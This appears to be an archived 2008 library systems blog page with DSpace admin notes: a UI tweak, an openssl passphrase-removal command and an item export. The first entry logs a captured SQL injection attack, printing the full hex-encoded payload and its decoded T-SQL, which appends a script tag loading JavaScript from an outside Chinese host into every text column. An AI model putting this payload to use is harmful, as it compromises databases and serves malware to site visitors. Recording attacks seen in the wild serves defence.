« July 2008 | Main | September 2008 »

August 26, 2008

SQL injection attacks on dspace

We have been getting a large number of SQL inject attacks. Below is the raw hex of these attacks and the ascii translations.
Raw hex: www.lib.umn.edu/libdata/page_print.phtml?page_id=1337'; DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x 4445434C415245204054207661726368617228323535292C4043207661 7263686172283430303029204445434C415245205461626C655F437572 736F7220435552534F5220464F522073656C65637420612E6E616D652C 622E6E616D652066726F6D207379736F626A6563747320612C73797363 6F6C756D6E73206220776865726520612E69643D622E696420616E6420 612E78747970653D27752720616E642028622E78747970653D3939206F 7220622E78747970653D3335206F7220622E78747970653D323331206F 7220622E78747970653D31363729204F50454E205461626C655F437572 736F72204645544348204E4558542046524F4D20205461626C655F4375 72736F7220494E544F2040542C4043205748494C452840404645544348 5F5354415455533D302920424547494E20657865632827757064617465 205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B 275D2B2727223E3C2F7469746C653E3C736372697074207372633D2268 7474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A 73223E3C2F7363726970743E3C212D2D272720776865726520272B4043 2B27206E6F! ASCII DECLARE @T varchar(255),@C va?rchar(4000) DECLARE Table_Cur?sor CURSOR FOR select a.name,?b.name from sysobjects a, sysc?olumns b where a.id=b.id and ?a.xtype='u' and (b.xtype=99 o?r b.xtype=35 or b.xtype=231 o?r b.xtype=167) OPEN Table_Cur?sor FETCH NEXT FROM Table_Cu?rsor INTO @T,@C WHILE(@@FETCH?_STATUS=0) BEGIN exec('update? ['+@T+'] set ['+@C+']=['+@C+?']+''"></title><script src= "h?ttp://sdo.1000mg.cn/csrss/w.j?s"></script><!--'' where '+@C?+' no

August 25, 2008

Small changes to UDC

I. Change a simple phrase

OLD: ./config/language-packs/Messages.properties:112:jsp.collection-home.submit.button =
OLD: Submit to This Collection
NEW:Submit another item

II. kill "Subscribe to this collection to receive daily e-mail notification of new additions" button

The file ./jsp/local/collection-home.jsp was edited to remove the button.
edits to collection-home.jsp

August 22, 2008

how to strip a passphrase from an openssl key


cp filename.key filename.key.encrypted
openssl rsa -in filename.key -out filename.key.nopass
cp filename.key.nopass filename.key

August 21, 2008

Exporting DSPACE repository to flat files

Exporting DSPACE repository to flat files
Export collection with handle: 33784
Export to the directory: /dspace/assetstore/ag_export/im/
Export to start at lowest member of collection : n=0

./dsrun org.dspace.app.itemexport.ItemExport -t COLLECTION -i 33784
-d /dspace/assetstore/ag_export/im/ -n 0

Subdirectories created
[silvi003@strip1 im]$ ls 0 13 18 22 27 31 36 40 45 5 54 59 63 68 72 77 81 86 90
1 14 19 23 28 32 37 41 46 50 55 6 64 69 73 78 82 87 91
10 15 2 24 29 33 38 42 47 51 56 60 65 7 74 79 83 88 92
11 16 20 25 3 34 39 43 48 52 57 61 66 70 75 8 84 89 93
12 17 21 26 30 35 4 44 49 53 58 62 67 71 76 80 85 9

Contents of the first subdirectory
[silvi003@strip1 im]$ ls 0
contents dublin_core.xml fo07he01.pdf handle
The Dublin Core in the first subdirectory

[silvi003@strip1 im]$ cat 0/dublin_core.xml
0/dublin_core.xml